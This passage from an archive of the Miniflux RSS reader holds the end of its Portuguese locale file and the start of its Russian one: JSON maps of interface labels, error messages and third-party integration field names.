"page.login.oidc_signin": "Iniciar Sessão com sua conta do %s",
"page.login.webauthn_login": "Entrar com senha",
"page.login.webauthn_login.error": "Não é possível fazer login com senha",
"page.integrations.title": "Integrações",
"page.integration.miniflux_api": "API do Miniflux",
"page.integration.miniflux_api_endpoint": "Endpoint da API",
"page.integration.miniflux_api_username": "Nome de usuário",
"page.integration.miniflux_api_password": "Senha",
"page.integration.miniflux_api_password_value": "Senha da sua Conta",
"page.integration.bookmarklet": "Bookmarklet",
"page.integration.bookmarklet.name": "Adicionar ao Miniflux",
"page.integration.bookmarklet.instructions": "Arrasta e solta esse link para os favoritos do teu navegador.",
"page.integration.bookmarklet.help": "Esse link especial permite você se inscrever a um site diretamente usando favorito do navegador.",
"page.sessions.title": "Sessões",
"page.sessions.table.date": "Data",
"page.sessions.table.ip": "Endereço IP",
"page.sessions.table.user_agent": "Agente de usuário",
"page.sessions.table.actions": "Ações",
"page.sessions.table.current_session": "Sessão Atual",
"page.api_keys.title": "Chaves de API",
"page.api_keys.table.description": "Descrição",
"page.api_keys.table.token": "Token",
"page.api_keys.table.last_used_at": "Ultima utilização",
"page.api_keys.table.created_at": "Data de criação",
"page.api_keys.table.actions": "Ações",
"page.api_keys.never_used": "Nunca usado",
"page.new_api_key.title": "Nova chave de API",
"page.offline.title": "Modo offline",
"page.offline.message": "Você está offline",
"page.offline.refresh_page": "Tente atualizar a página",
"page.webauthn_rename.title": "Rename Passkey",
"alert.no_shared_entry": "Não há itens compartilhados.",
"alert.no_bookmark": "Não há favorito neste momento.",
"alert.no_category": "Não há categoria.",
"alert.no_category_entry": "Não há itens nesta categoria.",
"alert.no_tag_entry": "Não há itens que correspondam a esta etiqueta.",
"alert.no_feed_entry": "Não há itens nessa fonte.",
"alert.no_feed": "Não há inscrições.",
"alert.no_feed_in_category": "Não há inscrições nessa categoria.",
"alert.no_history": "Não há histórico nesse momento.",
"alert.feed_error": "Ocorreu um problema com esta fonte.",
"alert.no_search_result": "Não há resultados para essa busca.",
"alert.no_unread_entry": "Não há itens não lidos.",
"alert.no_user": "Você é o único usuário.",
"alert.account_unlinked": "Sua conta externa está desvinculada!",
"alert.account_linked": "Sua conta externa está vinculada!",
"alert.pocket_linked": "Sua conta do Pocket está vinculada!",
"alert.prefs_saved": "Suas preferências foram salvas!",
"error.unlink_account_without_password": "Você deve definir uma senha, senão não será possível efetuar a sessão novamente.",
"error.duplicate_linked_account": "Alguém já está vinculado a esse serviço!",
"error.duplicate_fever_username": "Alguém já está utilizando esse nome de usuário do Fever!",
"error.duplicate_googlereader_username": "Alguém já está utilizando esse nome de usuário do Google Reader!",
"error.pocket_request_token": "Não foi possível obter um pedido de token no Pocket!",
"error.pocket_access_token": "Não foi possível obter um token de acesso no Pocket!",
"error.category_already_exists": "Esta categoria já existe.",
"error.unable_to_create_category": "Não foi possível criar essa categoria.",
"error.unable_to_update_category": "Não foi possível atualizar essa categoria.",
"error.user_already_exists": "Esse usuário já existe.",
"error.unable_to_create_user": "Não foi possível criar esse usuário.",
"error.unable_to_update_user": "Não foi possível atualizar esse usuário.",
"error.unable_to_update_feed": "Não foi possível atualizar essa fonte.",
"error.subscription_not_found": "Não foi possível encontrar uma inscrição.",
"error.empty_file": "Esse arquivo está vazio.",
"error.bad_credentials": "Usuário ou senha são inválidos.",
"error.fields_mandatory": "Todos os campos são obrigatórios.",
"error.title_required": "O título é obrigatório.",
"error.different_passwords": "As senhas não são iguais.",
"error.password_min_length": "A senha deve ter no mínimo 6 caracteres.",
"error.settings_mandatory_fields": "Os campos de nome de usuário, tema, idioma e fuso horário são obrigatórios.",
"error.settings_reading_speed_is_positive": "As velocidades de leitura devem ser inteiros positivos.",
"error.settings_block_rule_fieldname_invalid": "Invalid Block rule: rule #%d is missing a valid field name (Options: %s)",
"error.settings_block_rule_separator_required": "Invalid Block rule: rule #%d's pattern is required to be seperated by a '='",
"error.settings_block_rule_regex_required": "Invalid Block rule: rule #%d's pattern is not provided",
"error.settings_block_rule_invalid_regex": "Invalid Block rule: rule #%d's pattern is not a valid regex",
"error.settings_keep_rule_fieldname_invalid": "Invalid Keep rule: rule #%d is missing a valid field name (Options: %s)",
"error.settings_keep_rule_separator_required": "Invalid Keep rule: rule #%d's pattern is required to be seperated by a '='",
"error.settings_keep_rule_regex_required": "Invalid Keep rule: rule #%d pattern is not provided",
"error.settings_keep_rule_invalid_regex": "Invalid Keep rule: rule #%d's pattern is not a valid regex",
"error.entries_per_page_invalid": "O número de itens por página é inválido.",
"error.feed_mandatory_fields": "O campo de URL e categoria são obrigatórios.",
"error.feed_already_exists": "Este feed já existe.",
"error.invalid_feed_url": "URL de feed inválido.",
"error.invalid_site_url": "URL de site inválido.",
"error.feed_url_not_empty": "O URL do feed não pode estar vazio.",
"error.site_url_not_empty": "O URL do site não pode estar vazio.",
"error.feed_title_not_empty": "O título do feed não pode estar vazio.",
"error.feed_category_not_found": "Esta categoria não existe ou não pertence a este usuário.",
"error.feed_invalid_blocklist_rule": "A regra da lista de bloqueio é inválida.",
"error.feed_invalid_keeplist_rule": "A regra de manutenção da lista é inválida.",
"error.user_mandatory_fields": "O nome de usuário é obrigatório.",
"error.api_key_already_exists": "Essa chave de API já existe.",
"error.unable_to_create_api_key": "Não foi possível criar uma chave de API.",
"error.invalid_theme": "Tema inválido.",
"error.invalid_language": "Idioma inválido.",
"error.invalid_timezone": "Fuso horário inválido.",
"error.invalid_entry_direction": "Direção de entrada inválida.",
"error.invalid_display_mode": "Modo de exibição de aplicativo inválido da web.",
"error.invalid_gesture_nav": "Navegação por gestos inválida.",
"error.invalid_default_home_page": "Página inicial por defeito inválida!",
"form.feed.label.title": "Título",
"form.feed.label.site_url": "URL do site",
"form.feed.label.feed_url": "URL da fonte",
"form.feed.label.description": "Descrição",
"form.feed.label.category": "Categoria",
"form.feed.label.crawler": "Obter conteúdo original",
"form.feed.label.feed_username": "Nome de usuário da fonte",
"form.feed.label.feed_password": "Senha da fonte",
"form.feed.label.user_agent": "Sobrescrever o agente de usuário (user-agent) padrão",
"form.feed.label.cookie": "Definir Cookies",
"form.feed.label.scraper_rules": "Regras do scraper",
"form.feed.label.rewrite_rules": "Regras para o Rewrite",
"form.feed.label.blocklist_rules": "Regras de bloqueio",
"form.feed.label.keeplist_rules": "Regras de permissão",
"form.feed.label.urlrewrite_rules": "Regras de reescrita de URL",
"form.feed.label.apprise_service_urls": "Comma separated list of Apprise service URLs",
"form.feed.label.ignore_http_cache": "Ignorar cache HTTP",
"form.feed.label.allow_self_signed_certificates": "Permitir certificados autoassinados ou inválidos",
"form.feed.label.disable_http2": "Disable HTTP/2 to avoid fingerprinting",
"form.feed.label.disabled": "Não atualizar esta fonte",
"form.feed.label.no_media_player": "No media player (audio/video)",
"form.feed.label.fetch_via_proxy": "Buscar via proxy",
"form.feed.label.hide_globally": "Ocultar entradas na lista global não lida",
"form.feed.label.ntfy_activate": "Push entries to ntfy",
"form.feed.label.ntfy_priority": "Ntfy priority",
"form.feed.label.ntfy_max_priority": "Ntfy max priority",
"form.feed.label.ntfy_high_priority": "Ntfy high priority",
"form.feed.label.ntfy_default_priority": "Ntfy default priority",
"form.feed.label.ntfy_low_priority": "Ntfy low priority",
"form.feed.label.ntfy_min_priority": "Ntfy min priority",
"form.integration.cubox_activate": "Save entries to Cubox",
"form.integration.cubox_api_link": "Cubox API link",
"form.feed.fieldset.general": "General",
"form.feed.fieldset.rules": "Rules",
"form.feed.fieldset.network_settings": "Network Settings",
"form.feed.fieldset.integration": "Third-Party Services",
"form.category.label.title": "Título",
"form.category.hide_globally": "Ocultar entradas na lista global não lida",
"form.user.label.username": "Nome de usuário",
"form.user.label.password": "Senha",
"form.user.label.confirmation": "Confirmação de senha",
"form.user.label.admin": "Administrador",
"form.prefs.label.language": "Idioma",
"form.prefs.label.timezone": "Fuso horário",
"form.prefs.label.theme": "Tema",
"form.prefs.label.entry_sorting": "Ordenação dos itens",
"form.prefs.label.entries_per_page": "Itens por página",
"form.prefs.label.default_reading_speed": "Velocidade de leitura para outros idiomas (palavras por minuto)",
"form.prefs.label.cjk_reading_speed": "Velocidade de leitura para chinês, coreano e japonês (caracteres por minuto)",
"form.prefs.label.display_mode": "Modo de exibição Progressive Web App (PWA)",
"form.prefs.select.older_first": "Itens mais velhos primeiro",
"form.prefs.select.recent_first": "Itens mais recentes",
"form.prefs.select.fullscreen": "Tela completa",
"form.prefs.select.standalone": "Autônomo",
"form.prefs.select.minimal_ui": "Mínimo",
"form.prefs.select.browser": "Navegador",
"form.prefs.select.publish_time": "Entrada hora de publicação",
"form.prefs.select.created_time": "Entrada tempo criado",
"form.prefs.select.alphabetical": "Por ordem alfabética",
"form.prefs.select.unread_count": "Contagem não lida",
"form.prefs.select.none": "Nenhum",
"form.prefs.select.tap": "Toque duplo",
"form.prefs.select.swipe": "Deslize",
"form.prefs.label.keyboard_shortcuts": "Habilitar atalhos do teclado",
"form.prefs.label.entry_swipe": "Ativar entrada de furto em telas sensíveis ao toque",
"form.prefs.label.gesture_nav": "Gesto para navegar entre as entradas",
"form.prefs.label.show_reading_time": "Mostrar tempo estimado de leitura de artigos",
"form.prefs.label.custom_css": "CSS customizado",
"form.prefs.label.custom_js": "JavaScript customizado",
"form.prefs.label.entry_order": "Coluna de Ordenação de Entrada",
"form.prefs.label.default_home_page": "Página inicial predefinida",
"form.prefs.label.categories_sorting_order": "Classificação das categorias",
"form.prefs.label.mark_read_on_view": "Marcar automaticamente as entradas como lidas quando visualizadas",
"form.prefs.label.mark_read_on_view_or_media_completion": "Mark entries as read when viewed. For audio/video, mark as read at 90%% completion",
"form.prefs.label.mark_read_on_media_completion": "Only mark as read when audio/video playback reaches 90%% completion",
"form.prefs.label.mark_read_manually": "Mark entries as read manually",
"form.prefs.fieldset.application_settings": "Application Settings",
"form.prefs.fieldset.authentication_settings": "Authentication Settings",
"form.prefs.fieldset.reader_settings": "Reader Settings",
"form.prefs.fieldset.global_feed_settings": "Global Feed Settings",
"form.prefs.label.external_font_hosts": "External font hosts",
"form.prefs.help.external_font_hosts": "Space separated list of external font hosts to allow. For example: \"fonts.gstatic.com fonts.googleapis.com\".",
"error.settings_invalid_domain_list": "Invalid domain list. Please provide a space separated list of domains.",
"form.import.label.file": "Arquivo OPML",
"form.import.label.url": "URL",
"form.integration.betula_activate": "Save entries to Betula",
"form.integration.betula_url": "Betula server URL",
"form.integration.betula_token": "Betula Token",
"form.integration.fever_activate": "Ativar API do Fever",
"form.integration.fever_username": "Nome de usuário do Fever",
"form.integration.fever_password": "Senha do Fever",
"form.integration.fever_endpoint": "Endpoint da API do Fever:",
"form.integration.googlereader_activate": "Ativar API do Google Reader",
"form.integration.googlereader_username": "Nome de usuário do Google Reader",
"form.integration.googlereader_password": "Senha do Google Reader",
"form.integration.googlereader_endpoint": "Endpoint da API do Google Reader:",
"form.integration.pinboard_activate": "Salvar itens no Pinboard",
"form.integration.pinboard_token": "Token de API do Pinboard",
"form.integration.pinboard_tags": "Etiquetas (tags) do Pinboard",
"form.integration.pinboard_bookmark": "Salvar marcador como não lido",
"form.integration.instapaper_activate": "Salvar itens no Instapaper",
"form.integration.instapaper_username": "Nome do usuário do Instapaper",
"form.integration.instapaper_password": "Senha do Instapaper",
"form.integration.pocket_activate": "Salvar itens no Pocket",
"form.integration.pocket_consumer_key": "Chave de consumo (Consumer Key) do Pocket",
"form.integration.pocket_access_token": "Token de acesso do Pocket",
"form.integration.pocket_connect_link": "Conectar a conta do Pocket",
"form.integration.wallabag_activate": "Salvar itens no Wallabag",
"form.integration.wallabag_only_url": "Enviar apenas URL (em vez de conteúdo completo)",
"form.integration.wallabag_endpoint": "URL base do Wallabag",
"form.integration.wallabag_client_id": "ID de cliente (Client ID) do Wallabag",
"form.integration.wallabag_client_secret": "Segredo do cliente (Client Secret) do Wallabag",
"form.integration.wallabag_username": "Nome de usuário do Wallabag",
"form.integration.wallabag_password": "Senha do Wallabag",
"form.integration.notion_activate": "Save entries to Notion",
"form.integration.notion_page_id": "Notion Page ID",
"form.integration.notion_token": "Notion Secret Token",
"form.integration.apprise_activate": "Push entries to Apprise",
"form.integration.apprise_url": "Apprise API URL",
"form.integration.apprise_services_url": "Comma separated list of Apprise service URLs",
"form.integration.nunux_keeper_activate": "Salvar itens no Nunux Keeper",
"form.integration.nunux_keeper_endpoint": "Endpoint de API do Nunux Keeper",
"form.integration.nunux_keeper_api_key": "Chave de API do Nunux Keeper",
"form.integration.omnivore_activate": "Salvar itens no Omnivore",
"form.integration.omnivore_url": "Endpoint de API do Omnivore",
"form.integration.omnivore_api_key": "Chave de API do Omnivore",
"form.integration.espial_activate": "Salvar itens no Espial",
"form.integration.espial_endpoint": "Endpoint de API do Espial",
"form.integration.espial_api_key": "Chave de API do Espial",
"form.integration.espial_tags": "Etiquetas (tags) do Espial",
"form.integration.readwise_activate": "Save entries to Readwise Reader",
"form.integration.readwise_api_key": "Readwise Reader Access Token",
"form.integration.readwise_api_key_link": "Get your Readwise Access Token",
"form.integration.telegram_bot_activate": "Envie novos artigos para o chat do Telegram",
"form.integration.telegram_bot_token": "Token de bot",
"form.integration.telegram_chat_id": "ID de bate-papo",
"form.integration.telegram_topic_id": "Topic ID",
"form.integration.telegram_bot_disable_web_page_preview": "Disable web page preview",
"form.integration.telegram_bot_disable_notification": "Disable notification",
"form.integration.telegram_bot_disable_buttons": "Disable buttons",
"form.integration.linkace_activate": "Save entries to LinkAce",
"form.integration.linkace_endpoint": "LinkAce API Endpoint",
"form.integration.linkace_api_key": "LinkAce API key",
"form.integration.linkace_tags": "LinkAce Tags",
"form.integration.linkace_is_private": "Mark link as private",
"form.integration.linkace_check_disabled": "Disable link check",
"form.integration.linkding_activate": "Salvar itens no Linkding",
"form.integration.linkding_endpoint": "Endpoint de API do Linkding",
"form.integration.linkding_api_key": "Chave de API do Linkding",
"form.integration.linkding_tags": "Linkding Tags",
"form.integration.linkding_bookmark": "Salvar marcador como não lido",
"form.integration.linkwarden_activate": "Salvar itens no Linkwarden",
"form.integration.linkwarden_endpoint": "Endpoint de API do Linkwarden",
"form.integration.linkwarden_api_key": "Chave de API do Linkwarden",
"form.integration.matrix_bot_activate": "Transferir novos artigos para o Matrix",
"form.integration.matrix_bot_user": "Nome de utilizador para Matrix",
"form.integration.matrix_bot_password": "Palavra-passe para utilizador da Matrix",
"form.integration.matrix_bot_url": "URL do servidor Matrix",
"form.integration.matrix_bot_chat_id": "Identificação da sala Matrix",
"form.integration.raindrop_activate": "Save entries to Raindrop",
"form.integration.raindrop_token": "(Test) Token",
"form.integration.raindrop_collection_id": "Collection ID",
"form.integration.raindrop_tags": "Tags (comma-separated)",
"form.integration.readeck_activate": "Salvar itens no Readeck",
"form.integration.readeck_endpoint": "Endpoint de API do Readeck",
"form.integration.readeck_api_key": "Chave de API do Readeck",
"form.integration.readeck_labels": "Readeck Labels",
"form.integration.readeck_only_url": "Enviar apenas URL (em vez de conteúdo completo)",
"form.integration.shiori_activate": "Salvar itens no Shiori",
"form.integration.shiori_endpoint": "Endpoint da API do Shiori",
"form.integration.shiori_username": "Nome de usuário do Shiori",
"form.integration.shiori_password": "Senha do Shiori",
"form.integration.shaarli_activate": "Save articles to Shaarli",
"form.integration.shaarli_endpoint": "Shaarli URL",
"form.integration.shaarli_api_secret": "Shaarli API Secret",
"form.integration.webhook_activate": "Enable Webhook",
"form.integration.webhook_url": "Webhook URL",
"form.integration.webhook_secret": "Webhook Secret",
"form.integration.rssbridge_activate": "Check RSS-Bridge when adding subscriptions",
"form.integration.rssbridge_url": "RSS-Bridge server URL",
"form.integration.ntfy_activate": "Push entries to ntfy",
"form.integration.ntfy_topic": "Ntfy topic",
"form.integration.ntfy_url": "Ntfy URL (optional, default is ntfy.sh)",
"form.integration.ntfy_api_token": "Ntfy API Token (optional)",
"form.integration.ntfy_username": "Ntfy Username (optional)",
"form.integration.ntfy_password": "Ntfy Password (optional)",
"form.integration.ntfy_icon_url": "Ntfy Icon URL (optional)",
"form.integration.ntfy_internal_links": "Use internal links on click (optional)",
"form.integration.discord_activate": "Push entries to Discord",
"form.integration.discord_webhook_link": "Discord Webhook link",
"form.api_key.label.description": "Etiqueta da chave de API",
"form.submit.loading": "Carregando...",
"form.submit.saving": "Salvando...",
"time_elapsed.not_yet": "ainda não",
"time_elapsed.yesterday": "ontem",
"time_elapsed.now": "agora mesmo",
"time_elapsed.minutes": [
"há %d minuto",
"há %d minutos"
],
"time_elapsed.hours": [
"há %d hora",
"há %d horas"
],
"time_elapsed.days": [
"há %d dia",
"há %d dias"
],
"time_elapsed.weeks": [
"há %d semana",
"há %d semanas"
],
"time_elapsed.months": [
"há %d mês",
"há %d meses"
],
"time_elapsed.years": [
"há %d ano",
"há %d anos"
],
"alert.too_many_feeds_refresh": [
"You have triggered too many feed refreshes. Please wait %d minute before trying again.",
"You have triggered too many feed refreshes. Please wait %d minutes before trying again."
],
"alert.background_feed_refresh": "All feeds are being refreshed in the background. You can continue to use Miniflux while this process is running.",
"error.http_response_too_large": "The HTTP response is too large. You could increase the HTTP response size limit in the global settings (requires a server restart).",
"error.http_body_read": "Unable to read the HTTP body: %v.",
"error.http_empty_response_body": "The HTTP response body is empty.",
"error.http_empty_response": "The HTTP response is empty. Perhaps, this website is using a bot protection mechanism?",
"error.tls_error": "TLS error: %q. You could disable TLS verification in the feed settings if you would like.",
"error.network_operation": "Miniflux is not able to reach this website due to a network error: %v.",
"error.network_timeout": "This website is too slow and the request timed out: %v",
"error.http_client_error": "HTTP client error: %v.",
"error.http_not_authorized": "Access to this website is not authorized. It could be a bad username or password.",
"error.http_too_many_requests": "Miniflux generated too many requests to this website. Please, try again later or change the application configuration.",
"error.http_forbidden": "Access to this website is forbidden. Perhaps, this website has a bot protection mechanism?",
"error.http_resource_not_found": "The requested resource is not found. Please, verify the URL.",
"error.http_internal_server_error": "The website is not available at the moment due to a server error. The problem is not on Miniflux side. Please, try again later.",
"error.http_bad_gateway": "The website is not available at the moment due to a bad gateway error. The problem is not on Miniflux side. Please, try again later.",
"error.http_service_unavailable": "The website is not available at the moment due to an internal server error. The problem is not on Miniflux side. Please, try again later.",
"error.http_gateway_timeout": "The website is not available at the moment due to a gateway timeout error. The problem is not on Miniflux side. Please, try again later.",
"error.http_unexpected_status_code": "The website is not available at the moment due to an unexpected HTTP status code: %d. The problem is not on Miniflux side. Please, try again later.",
"error.database_error": "Database error: %v.",
"error.category_not_found": "This category does not exist or does not belong to this user.",
"error.duplicated_feed": "This feed already exists.",
"error.unable_to_parse_feed": "Unable to parse this feed: %v.",
"error.feed_not_found": "This feed does not exist or does not belong to this user.",
"error.unable_to_detect_rssbridge": "Unable to detect feed using RSS-Bridge: %v.",
"error.feed_format_not_detected": "Unable to detect feed format: %v.",
"form.prefs.label.media_playback_rate": "Velocidade de reprodução do áudio/vídeo",
"error.settings_media_playback_rate_range": "A velocidade de reprodução está fora do intervalo",
"enclosure_media_controls.seek" : "Seek:",
"enclosure_media_controls.seek.title" : "Seek %s seconds",
"enclosure_media_controls.speed" : "Speed:",
"enclosure_media_controls.speed.faster" : "Faster",
"enclosure_media_controls.speed.faster.title" : "Faster by %sx",
"enclosure_media_controls.speed.slower" : "Slower",
"enclosure_media_controls.speed.slower.title" : "Slower by %sx",
"enclosure_media_controls.speed.reset" : "Reset",
"enclosure_media_controls.speed.reset.title" : "Reset speed to 1x"
}
v2-2.2.5/internal/locale/translations/ru_RU.json 0000664 0000000 0000000 00000125137 14743520056 0021611 0 ustar 00root root 0000000 0000000 {
"skip_to_content": "Skip to content",
"confirm.question": "Вы уверены?",
"confirm.question.refresh": "Вы хотите выполнить принудительное обновление?",
"confirm.yes": "да",
"confirm.no": "нет",
"confirm.loading": "В процессе…",
"action.subscribe": "Подписаться",
"action.save": "Сохранить",
"action.or": "или",
"action.cancel": "закрыть",
"action.remove": "Удалить",
"action.remove_feed": "Удалить эту подписку",
"action.update": "Обновить",
"action.edit": "Изменить",
"action.download": "Загрузить",
"action.import": "Импорт",
"action.login": "Войти",
"action.home_screen": "Добавить на домашний экран",
"tooltip.keyboard_shortcuts": "Сочетания клавиш: %s",
"tooltip.logged_user": "Авторизован как %s",
"menu.title": "Menu",
"menu.home_page": "Home page",
"menu.unread": "Непрочитанное",
"menu.starred": "Избранное",
"menu.history": "История",
"menu.feeds": "Подписки",
"menu.categories": "Категории",
"menu.settings": "Настройки",
"menu.logout": "Выйти",
"menu.preferences": "Предпочтения",
"menu.integrations": "Интеграции",
"menu.sessions": "Сессии",
"menu.users": "Пользователи",
"menu.about": "О приложении",
"menu.export": "Экспорт",
"menu.import": "Импорт",
"menu.search": "Поиск",
"menu.create_category": "Создать категорию",
"menu.mark_page_as_read": "Отметить эту страницу прочитанной",
"menu.mark_all_as_read": "Отметить всё как прочитанное",
"menu.show_all_entries": "Показать все статьи",
"menu.show_only_unread_entries": "Показывать только непрочитанные статьи",
"menu.show_only_starred_entries": "Показывать только избранные статьи",
"menu.refresh_feed": "Обновить",
"menu.refresh_all_feeds": "Обновить все подписки в фоне",
"menu.edit_feed": "Изменить",
"menu.edit_category": "Изменить",
"menu.add_feed": "Добавить подписку",
"menu.add_user": "Добавить пользователя",
"menu.flush_history": "Очистить историю",
"menu.feed_entries": "Статьи",
"menu.api_keys": "API-ключи",
"menu.create_api_key": "Создать новый API-ключ",
"menu.shared_entries": "Общие записи",
"search.label": "Поиск",
"search.placeholder": "Поиск…",
"search.submit": "Search",
"pagination.last": "Last",
"pagination.next": "Следующая",
"pagination.first": "First",
"pagination.previous": "Предыдущая",
"entry.status.unread": "Не прочитано",
"entry.status.read": "Прочитано",
"entry.status.toast.unread": "Помечено как непрочитанное",
"entry.status.toast.read": "Помечено как прочитанное",
"entry.status.title": "Изменить статус записи",
"entry.bookmark.toggle.on": "Добавить в Избранное",
"entry.bookmark.toggle.off": "Удалить из Избранного",
"entry.bookmark.toast.on": "Помеченные",
"entry.bookmark.toast.off": "Без пометок",
"entry.state.saving": "Сохранение…",
"entry.state.loading": "Загрузка…",
"entry.save.label": "Сохранить",
"entry.save.title": "Сохранить эту статью",
"entry.save.completed": "Готово!",
"entry.save.toast.completed": "Статья сохранена",
"entry.scraper.label": "Скачать",
"entry.scraper.title": "Извлечь оригинальное содержимое",
"entry.scraper.completed": "Готово!",
"entry.external_link.label": "Внешняя ссылка",
"entry.comments.label": "Комментарии",
"entry.comments.title": "Показать комментарии",
"entry.share.label": "Поделиться",
"entry.share.title": "Поделиться этой статьёй",
"entry.unshare.label": "Удалить из общедоступных",
"entry.shared_entry.title": "Открыть публичную ссылку",
"entry.shared_entry.label": "Поделиться",
"entry.estimated_reading_time": [
"%d минута чтения",
"%d минуты чтения",
"%d минут чтения"
],
"entry.tags.label": "Теги:",
"page.shared_entries.title": "Общедоступные статьи",
"page.shared_entries_count": [
"%d shared entry",
"%d shared entries",
"%d shared entries"
],
"page.unread.title": "Непрочитанное",
"page.unread_entry_count": [
"%d unread entry",
"%d unread entries",
"%d unread entries"
],
"page.total_entry_count": [
"%d entry in total",
"%d entries in total",
"%d entries in total"
],
"page.starred.title": "Избранное",
"page.starred_entry_count": [
"%d starred entry",
"%d starred entries",
"%d starred entries"
],
"page.categories.title": "Категории",
"page.categories.no_feed": "Нет подписок.",
"page.categories.entries": "Cтатьи",
"page.categories.feeds": "Подписки",
"page.categories.feed_count": [
"Есть %d подписка.",
"Есть %d подписки.",
"Есть %d подписок."
],
"page.categories_count": [
"%d category",
"%d categories",
"%d categories"
],
"page.new_category.title": "Новая категория",
"page.new_user.title": "Новый пользователь",
"page.edit_category.title": "Изменить категорию: %s",
"page.edit_user.title": "Изменить пользователя: %s",
"page.feeds.title": "Подписки",
"page.category_label": "Category: %s",
"page.feeds.last_check": "Последняя проверка:",
"page.feeds.next_check": "Next check:",
"page.feeds.read_counter": "Количество прочитанных статей",
"page.feeds.error_count": [
"%d ошибка",
"%d ошибки",
"%d ошибок"
],
"page.history.title": "История",
"page.read_entry_count": [
"%d read entry",
"%d read entries",
"%d read entries"
],
"page.import.title": "Импорт",
"page.search.title": "Результаты поиска",
"page.about.title": "О приложении",
"page.about.credits": "Авторы",
"page.about.version": "Версия:",
"page.about.build_date": "Дата сборки:",
"page.about.author": "Автор:",
"page.about.license": "Лицензия:",
"page.about.postgres_version": "Версия Postgres:",
"page.about.go_version": "Версия Go:",
"page.about.global_config_options": "Глобальные параметры конфигурации",
"page.add_feed.title": "Новая подписка",
"page.add_feed.no_category": "Категории отсутствуют. У вас должна быть хотя бы одна категория.",
"page.add_feed.label.url": "Ссылка",
"page.add_feed.submit": "Найти подписку",
"page.add_feed.legend.advanced_options": "Расширенные настройки",
"page.add_feed.choose_feed": "Выберите подписку",
"page.edit_feed.title": "Изменить подписку: %s",
"page.edit_feed.last_check": "Последняя проверка:",
"page.edit_feed.last_modified_header": "Заголовок LastModified:",
"page.edit_feed.etag_header": "Заголовок ETag:",
"page.edit_feed.no_header": "Отсутствует",
"page.edit_feed.last_parsing_error": "Последняя ошибка парсинга",
"page.entry.attachments": "Вложения",
"page.keyboard_shortcuts.title": "Горячие клавиши",
"page.keyboard_shortcuts.subtitle.sections": "Навигация по секциям",
"page.keyboard_shortcuts.subtitle.items": "Навигация по элементам",
"page.keyboard_shortcuts.subtitle.pages": "Навигация по страницам",
"page.keyboard_shortcuts.subtitle.actions": "Действия",
"page.keyboard_shortcuts.go_to_unread": "Перейти к Непрочитанным",
"page.keyboard_shortcuts.go_to_starred": "Перейти к Избранному",
"page.keyboard_shortcuts.go_to_history": "Перейти к Истории",
"page.keyboard_shortcuts.go_to_feeds": "Перейти к Подпискам",
"page.keyboard_shortcuts.go_to_categories": "Перейти к Категориям",
"page.keyboard_shortcuts.go_to_settings": "Перейти к Настройкам",
"page.keyboard_shortcuts.show_keyboard_shortcuts": "Показать сочетания клавиш",
"page.keyboard_shortcuts.go_to_previous_item": "Перейти к предыдущему элементу",
"page.keyboard_shortcuts.go_to_next_item": "Перейти к следующему элементу",
"page.keyboard_shortcuts.go_to_feed": "Перейти к подписке",
"page.keyboard_shortcuts.go_to_previous_page": "Перейти к предыдущей странице",
"page.keyboard_shortcuts.go_to_next_page": "Перейти к следующей странице",
"page.keyboard_shortcuts.go_to_bottom_item": "Перейти к нижнему элементу",
"page.keyboard_shortcuts.go_to_top_item": "Перейти к верхнему элементу",
"page.keyboard_shortcuts.open_item": "Открыть выбранный элемент",
"page.keyboard_shortcuts.open_original_same_window": "Открыть оригинальную ссылку в текущей вкладке",
"page.keyboard_shortcuts.open_original": "Открыть оригинальную ссылку",
"page.keyboard_shortcuts.open_comments_same_window": "Открыть ссылку на комментарии в текущей вкладке",
"page.keyboard_shortcuts.open_comments": "Открыть ссылку для комментариев",
"page.keyboard_shortcuts.toggle_read_status_next": "Переключатель прочитанного, сосредоточиться на следующем",
"page.keyboard_shortcuts.toggle_read_status_prev": "Переключатель прочитанного, фокус предыдущий",
"page.keyboard_shortcuts.refresh_all_feeds": "Обновить все подписки в фоне",
"page.keyboard_shortcuts.mark_page_as_read": "Отметить текущую страницу прочитанной",
"page.keyboard_shortcuts.download_content": "Загрузить оригинальное содержимое",
"page.keyboard_shortcuts.toggle_bookmark_status": "Переключатель избранного",
"page.keyboard_shortcuts.save_article": "Сохранить статью",
"page.keyboard_shortcuts.scroll_item_to_top": "Прокрутите элемент вверх",
"page.keyboard_shortcuts.remove_feed": "Удалить эту подписку",
"page.keyboard_shortcuts.go_to_search": "Установить фокус в поисковой форме",
"page.keyboard_shortcuts.toggle_entry_attachments": "Переключатель показать/скрыть вложения",
"page.keyboard_shortcuts.close_modal": "Закрыть модальный диалог",
"page.users.title": "Пользователи",
"page.users.username": "Имя пользователя",
"page.users.never_logged": "Никогда",
"page.users.admin.yes": "Да",
"page.users.admin.no": "Нет",
"page.users.actions": "Действия",
"page.users.last_login": "Последний вход",
"page.users.is_admin": "Администратор",
"page.settings.title": "Настройки",
"page.settings.link_google_account": "Привязать мой Google аккаунт",
"page.settings.unlink_google_account": "Отвязать мой Google аккаунт",
"page.settings.link_oidc_account": "Привязать мой %s аккаунт",
"page.settings.unlink_oidc_account": "Отвязать мой %s аккаунт",
"page.settings.webauthn.passkeys": "Passkeys",
"page.settings.webauthn.actions": "Actions",
"page.settings.webauthn.passkey_name": "Passkey Name",
"page.settings.webauthn.added_on": "Added On",
"page.settings.webauthn.last_seen_on": "Last Used",
"page.settings.webauthn.register": "Зарегистрировать пароль",
"page.settings.webauthn.register.error": "Не удается зарегистрировать пароль",
"page.login.webauthn_login.help": "Please enter your username if you're using a security key. This is not required if you are using a Passkey (discoverable credentials).",
"page.settings.webauthn.delete": [
"Удалить %d пароль",
"Удалить %d пароля",
"Удалить %d пароля"
],
"page.login.title": "Войти",
"page.login.google_signin": "Войти с помощью Google",
"page.login.oidc_signin": "Войти с помощью %s",
"page.login.webauthn_login": "Войти с паролем",
"page.login.webauthn_login.error": "Невозможно войти с паролем",
"page.integrations.title": "Интеграции",
"page.integration.miniflux_api": "Miniflux API",
"page.integration.miniflux_api_endpoint": "Конечная точка API",
"page.integration.miniflux_api_username": "Имя пользователя",
"page.integration.miniflux_api_password": "Пароль",
"page.integration.miniflux_api_password_value": "Пароль вашего аккаунта",
"page.integration.bookmarklet": "Букмарклет",
"page.integration.bookmarklet.name": "Добавить в Miniflux",
"page.integration.bookmarklet.instructions": "Перетащите эту ссылку в ваши закладки.",
"page.integration.bookmarklet.help": "Эта специальная ссылка позволит вам подписаться на сайт, используя обыкновенную закладку в вашем браузере.",
"page.sessions.title": "Сессии",
"page.sessions.table.date": "Время",
"page.sessions.table.ip": "IP адрес",
"page.sessions.table.user_agent": "User-Agent",
"page.sessions.table.actions": "Действия",
